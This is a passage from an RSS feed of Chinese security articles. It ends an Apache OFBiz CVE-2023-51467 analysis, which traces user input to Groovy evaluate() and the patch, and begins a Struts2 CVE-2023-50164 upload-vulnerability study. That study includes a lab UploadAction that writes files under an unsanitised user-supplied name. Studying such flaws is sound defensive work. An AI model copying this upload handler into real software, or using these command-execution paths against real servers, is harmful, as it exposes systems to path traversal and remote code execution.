rgb(232, 236, 233);">ProgramExport</span><span style="font-size: 18px;">对应的脚本文件位置</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">component://webtools/groovyScripts/entity/ProgramExport.groov</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">y</span><span style="font-size: 18px;">，当遍历到此文件时跟进；</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="263" data-backw="578" data-galleryid="" data-imgfileid="100004773" data-ratio="0.45555555555555555" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=72b0b269&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDhFT0br6fXXnkGBpD1v7Q8bUdIGyo8ibo1M37KeSVibdsJOlGnbXUiaJImA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">检测到文件后缀为</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">.groovy</span><span style="font-size: 18px;">，运行这个脚本文件；</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="56" data-backw="578" data-galleryid="" data-imgfileid="100004774" data-ratio="0.09722222222222222" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=7e9549f4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDhrRb4NnbaSVHcV72flLdicSicibwdbBDVX4JXXkLIG4VOTwTWribgrhQdWg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">进入</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">ProgramExport.groovy</span><span style="font-size: 18px;">，从传入的参数中获取到了</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">groovyProgram</span><span style="font-size: 18px;">参数值，最后调用</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">evaluate()</span><span style="font-size: 18px;">执行命令。</span><span style="font-size: 18px;letter-spacing: 0.034em;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="351" data-backw="578" data-galleryid="" data-imgfileid="100004775" data-ratio="0.6083172147001934" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1034" src="https://wechat2rss.xlab.app/img-proxy/?k=43a9685f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDh8V9JNZ4trOfPbXVvNCJlqDvmibv0DabJY0vLvN6TKDh2S5XVEr76Bkg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">其中还调用了</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">SecuredUpload.isValidText()</span><span style="font-size: 18px;">对</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">groovyProgram</span><span style="font-size: 18px;">进行黑白名单校验，黑名单内容来自</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">\framework\security\config\security.properties#deniedWebShellTokens</span><span style="font-size: 18px;">，白名单就是</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">import</span><span style="font-size: 18px;">。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="232" data-backw="578" data-galleryid="" data-imgfileid="100004776" data-ratio="0.40185185185185185" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=61fab10c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDh3oT1EygzUNSlDrKKZVyWByzwiaiayxjPicu9Wiahg6DQV4C89urRaVm3jQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><strong style="color: rgb(85, 168, 113);font-family: &#34;Helvetica Neue&#34;;font-size: 26px;letter-spacing: 0.578px;text-align: left;">3-4. 补丁分析</strong></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">补丁地址：<a href="https://github.com/apache/ofbiz-framework/commit/ee02a33509" target="_blank">https://github.com/apache/ofbiz-framework/commit/ee02a33509</a></span></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">修复了授权检查的地方，在登录失败后直接返回error，而不是再去判断requirePasswordChange的值。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="157" data-backw="578" data-galleryid="" data-imgfileid="100004777" data-ratio="0.27099236641221375" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1048" src="https://wechat2rss.xlab.app/img-proxy/?k=b75238b4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDh8wWvCdqb1LI9VBgqS8sMCv9wAqKtu2ib4P2nGrwhw6lIcD97u5KWicoA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;"><br/></p><p style="text-align: left;"><strong style="text-wrap: wrap;outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">参考链接：</span></strong></p><section style="text-align: left;margin-bottom: 8px;"><a href="https://xz.aliyun.com/t/13168" target="_blank">https://xz.aliyun.com/t/13168</a></section><section style="text-align: left;margin-bottom: 8px;"><a href="https://xz.aliyun.com/t/8184/" target="_blank">https://xz.aliyun.com/t/8184/</a></section><section style="text-align: left;margin-bottom: 8px;"><a href="https://xz.aliyun.com/t/13211" target="_blank">https://xz.aliyun.com/t/13211</a></section><section style="text-align: left;margin-bottom: 8px;"><a href="https://y4tacker.github.io/2023/12/27/year/2023/12/Apache-OFBiz%E6%9C%AA%E6%8E%88%E6%9D%83%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%B5%85%E6%9E%90-CVE-2023-51467/" target="_blank">https://y4tacker.github.io/2023/12/27/year/2023/12/Apache-OFBiz%E6%9C%AA%E6%8E%88%E6%9D%83%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%B5%85%E6%9E%90-CVE-2023-51467/</a></section><section style="text-align: left;margin-bottom: 8px;"><a href="https://mp.weixin.qq.com/s/iAvitO6otPdHSu1SjRNX3g" target="_blank">https://mp.weixin.qq.com/s/iAvitO6otPdHSu1SjRNX3g</a></section><section style="text-align: left;margin-bottom: 8px;"><span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;"><a href="https://cwiki.apache.org/confluence/display/OFBIZ/Understanding+the+OFBiz+Widget+Toolkit" target="_blank">https://cwiki.apache.org/confluence/display/OFBIZ/Understanding+the+OFBiz+Widget+Toolkit</a></span></section><p style="text-align: left;"><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247488429">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=63532a06&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4Nzc3MTk3Mg%3D%3D%26mid%3D2247488429%26idx%3D1%26sn%3D7feb3d221730a965bd93b0f2afdf97af%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 05 Jan 2024 18:09:00 +0800</pubDate>
    </item>
    <item>
      <title>Apache Struts2 文件上传漏洞分析（CVE-2023-50164）</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4Nzc3MTk3Mg==&amp;mid=2247488378&amp;idx=1&amp;sn=1f8fe746251c491a981785d65aaf137c</link>
      <description>攻击者可以操纵文件上传参数以启用路径遍历，在某些情况下，这可能导致上传可用于执行远程代码执行的恶意文件。</description>
      <content:encoded><![CDATA[<p>
原创 <span>元亨-blckder02</span> <span>2023-12-22 08:40</span> <span style="display: inline-block;">浙江</span>
</p>

<p>攻击者可以操纵文件上传参数以启用路径遍历，在某些情况下，这可能导致上传可用于执行远程代码执行的恶意文件。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=40214e15&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkAeFn7TN57MMeBdaMiaZObn5lDIfyEk11qwrLCibP65beO6QHnJE8WicWCxc0VTO1JSthWtnX1Jyxswj2QWVlffMg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="margin-bottom: 0px;line-height: 1.6em;text-align: left;"><span style="color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-weight: 700;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);text-decoration: underline;font-size: 18px;"></span></section><section style="letter-spacing: 0.578px;text-wrap: wrap;margin-bottom: 24px;"><span style="background-color: rgb(255, 255, 255);color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;text-decoration: underline;">1. 前言</span></section><p style="line-height: 1.6em;text-align: left;margin-bottom: 24px;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">官方公告</span></strong><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">：</span></strong><span style="font-size: 18px;"><br/><a href="https://cwiki.apache.org/confluence/display/WW/S2-066" target="_blank">https://cwiki.apache.org/confluence/display/WW/S2-066</a><o:p></o:p></span></p><p style="line-height: 1.6em;text-align: left;margin-bottom: 24px;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">漏洞描述：</span></strong><span style="font-size: 18px;"><br/>攻击者可以操纵文件上传参数以启用路径遍历，在某些情况下，这可能导致上传可用于执行远程代码执行的恶意文件。<o:p></o:p></span></p><section style="line-height: 1.6em;text-align: left;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">影响版本：</span></strong><span style="font-size: 18px;"><br/>Struts 2.0.0 - Struts 2.3.37 (EOL)<br/>Struts 2.5.0 - Struts 2.5.32<br/>Struts 6.0.0 - Struts 6.3.0<o:p></o:p></span></section><h2 style="line-height: 1.6em;text-align: left;margin-bottom: 24px;"><span style="color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);text-decoration: underline;">2. 环境搭建</span><span style="font-size: 18px;"><o:p></o:p></span></h2><section style="line-height: 1.6em;text-align: left;"><span style="font-size: 18px;">新建一个项目，Archetype 选择</span><span style="font-size: 18px;">org.apache.maven.archetypes:maven-archetype-webapp</span><span style="font-size: 18px;">；<br/><o:p></o:p></span></section><section style="line-height: 1.6em;text-align: left;"><img class="rich_pages wxw-img" data-backh="505" data-backw="578" data-imgfileid="100004702" data-ratio="0.8738461538461538" style="width: 100%;height: auto;" data-type="png" data-w="975" src="https://wechat2rss.xlab.app/img-proxy/?k=a3a9fe9f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MMeBdaMiaZObn5lDIfyEk11sEezH4nltt6SxUHgEOTJhMBlpibZa4hH67jDyq59VDvGO6w9gOnw5pw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="line-height: 1.6em;text-align: left;"><span style="font-size: 18px;">pom.xml 中添加 Struts2 依赖，以 6.3.0 版本为例，tomcat 也添加上，以便获取当前路径；</span></section><pre data-processed="true"><section style="line-height: 1.6em;text-align: left;"><span style="font-size: 18px;"></span></section></pre><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">dependency</span>&gt;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;<span class="code-snippet__name">groupId</span>&gt;</span>org.apache.struts<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">groupId</span>&gt;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;<span class="code-snippet__name">artifactId</span>&gt;</span>struts2-core<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">artifactId</span>&gt;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;<span class="code-snippet__name">version</span>&gt;</span>6.3.0<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">version</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">dependency</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">dependency</span>&gt;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;<span class="code-snippet__name">groupId</span>&gt;</span>org.apache.tomcat<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">groupId</span>&gt;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;<span class="code-snippet__name">artifactId</span>&gt;</span>tomcat-catalina<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">artifactId</span>&gt;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;<span class="code-snippet__name">version</span>&gt;</span>8.5.81<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">version</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">dependency</span>&gt;</span></span></code></pre></section><pre data-processed="true"><section style="line-height: 1.6em;text-align: left;"><span style="font-size: 18px;"><o:p></o:p></span></section></pre><section style="line-height: 1.6em;text-align: left;"><span style="font-size: 18px;">web.xml 中配置过滤器：<o:p></o:p></span></section><pre data-processed="true"><section style="line-height: 1.6em;text-align: left;"><span style="font-size: 18px;"></span></section></pre><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__meta">&lt;!DOCTYPE web-app PUBLIC</span></span></code><code><span class="code-snippet_outer"> &#34;-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN&#34;</span></code><code><span class="code-snippet_outer"> &#34;<a href="http://java.sun.com/dtd/web-app_2_3.dtd" target="_blank">http://java.sun.com/dtd/web-app_2_3.dtd</a>&#34; &gt;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">web-app</span>&gt;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;<span class="code-snippet__name">display-name</span>&gt;</span>Archetype Created Web Application<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">display-name</span>&gt;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;<span class="code-snippet__name">filter</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">filter-name</span>&gt;</span>struts2<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">filter-name</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">filter-class</span>&gt;</span>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">filter-class</span>&gt;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">filter</span>&gt;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;<span class="code-snippet__name">filter-mapping</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">filter-name</span>&gt;</span>struts2<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">filter-name</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">url-pattern</span>&gt;</span>*.action<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">url-pattern</span>&gt;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">filter-mapping</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">web-app</span>&gt;</span></span></code></pre></section><pre data-processed="true"><section style="line-height: 1.6em;text-align: left;"><span style="font-size: 18px;"><o:p></o:p></span></section></pre><section style="line-height: 1.6em;text-align: left;"><span style="font-size: 18px;">文件上传的 action：<o:p></o:p></span></section><pre data-processed="true"><section style="line-height: 1.6em;text-align: left;"><span style="font-size: 18px;"></span></section></pre><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer">package blckder02.struts2.action;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.opensymphony.xwork2.ActionSupport;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> org.apache.commons.io.FileUtils;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.File;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.IOException;</span></code><code><span class="code-snippet_outer">publicclass UploadAction <span class="code-snippet__keyword">extends</span> ActionSupport {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> File myfile;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__built_in">String</span> myfileContentType;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__built_in">String</span> myfileFileName;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__built_in">String</span> destpath;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__built_in">String</span> execute() {</span></code><code><span class="code-snippet_outer">        destpath = ServletActionContext.getServletContext().getRealPath(<span class="code-snippet__string">&#34;/&#34;</span>)+<span class="code-snippet__string">&#34;uploads\\upload\\&#34;</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span>{</span></code><code><span class="code-snippet_outer">            System.out.println(<span class="code-snippet__string">&#34;Src File name: &#34;</span> + myfile);</span></code><code><span class="code-snippet_outer">            System.out.println(<span class="code-snippet__string">&#34;Dst File name: &#34;</span> + myfileFileName);</span></code><code><span class="code-snippet_outer">            File destFile = <span class="code-snippet__keyword">new</span> File(destpath, myfileFileName);</span></code><code><span class="code-snippet_outer">            FileUtils.copyFile(myfile, destFile);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> SUCCESS;</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (IOException | NullPointerException e) {</span></code><code><span class="code-snippet_outer">            e.printStackTrace();</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> ERROR;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> File getMyfile() {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> myfile;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__built_in">void</span> setMyfile(File myfile) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.myfile = myfile;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__built_in">String</span> getMyfileContentType() {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> myfileContentType;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__built_in">void</span> setMyfileContentType(<span class="code-snippet__built_in">String</span> myfileContentType) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.myfileContentType = myfileContentType;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__built_in">String</span> getMyfileFileName() {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> myfileFileName;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__built_in">void</span> setMyfileFileName(<span class="code-snippet__built_in">String</span> myfileFileName) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.myfileFileName = myfileFileName;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><pre data-processed="true"><section style="line-height: 1.6em;text-align: left;"><code><span style="font-size: 18px;"></span></code><span style="font-size: 18px;"><o:p></o:p></span></section></pre><section style="line-height: 1.6em;text-align: left;"><span style="font-size: 18px;">uopload.jsp：<o:p></o:p></span></section><pre data-processed="true"><section style="line-height: 1.6em;text-align: left;"><code data-info="jsp"><span style="font-size: 18px;"></span></code></section></pre><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">%@</span> <span class="code-snippet__attr">page</span> <span class="code-snippet__attr">contentType</span>=<span class="code-snippet__string">&#34;text/html;charset=UTF-8&#34;</span> <span class="code-snippet__attr">language</span>=<span class="code-snippet__string">&#34;java&#34;</span> %&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">%@</span> <span class="code-snippet__attr">taglib</span> <span class="code-snippet__attr">prefix</span>=<span class="code-snippet__string">&#34;s&#34;</span> <span class="code-snippet__attr">uri</span>=<span class="code-snippet__string">&#34;/struts-tags&#34;</span>%&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">html</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">head</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">title</span>&gt;</span>Upload<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">title</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">head</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">body</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">h2</span>&gt;</span>Upload<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">h2</span>&gt;</span><span class="code-snippet__tag">&lt;<span class="code-snippet__name">br</span>/&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">form</span> <span class="code-snippet__attr">action</span>=<span class="code-snippet__string">&#34;upload.action&#34;</span> <span class="code-snippet__attr">method</span>=<span class="code-snippet__string">&#34;post&#34;</span> <span class="code-snippet__attr">enctype</span>=<span class="code-snippet__string">&#34;multipart/form-data&#34;</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">s:label</span> <span class="code-snippet__attr">for</span>=<span class="code-snippet__string">&#34;myfile&#34;</span>&gt;</span>Please upload your file<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">s:label</span>&gt;</span><span class="code-snippet__tag">&lt;<span class="code-snippet__name">br</span>/&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">input</span> <span class="code-snippet__attr">type</span>=<span class="code-snippet__string">&#34;file&#34;</span> <span class="code-snippet__attr">name</span>=<span class="code-snippet__string">&#34;myfile&#34;</span>/&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">input</span> <span class="code-snippet__attr">type</span>=<span class="code-snippet__string">&#34;submit&#34;</span> <span class="code-snippet__attr">value</span>=<span class="code-snippet__string">&#34;Upload&#34;</span>/&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">form</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">body</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">html</span>&gt;</span></span></code></pre></section><pre data-processed="true"><section style="line-height: 1.6em;text-align: left;"><code><span style="font-size: 18px;"></span></code><span style="font-size: 18px;"><o:p></o:p></span></section></pre><section style="line-height: 1.6em;text-align: left;"><span style="font-size: 18px;">success.jsp：<o:p></o:p></span></section><pre data-processed="true"><section style="line-height: 1.6em;text-align: left;"><code data-info="jsp"><span style="font-size: 18px;"></span></code></section></pre><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">%@</span> <span class="code-snippet__attr">page</span> <span class="code-snippet__attr">contentType</span>=<span class="code-snippet__string">&#34;text/html;charset=UTF-8&#34;</span> <span class="code-snippet__attr">language</span>=<span class="code-snippet__string">&#34;java&#34;</span> %&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">%@</span> <span class="code-snippet__attr">taglib</span> <span class="code-snippet__attr">prefix</span>=<span class="code-snippet__string">&#34;s&#34;</span> <span class="code-snippet__attr">uri</span>=<span class="code-snippet__string">&#34;/struts-tags&#34;</span>%&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">html</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">head</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">title</span>&gt;</span>Success<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">title</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">head</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">body</span>&gt;</span></span></code><code><span class="code-snippet_outer">You have successfully uploaded <span 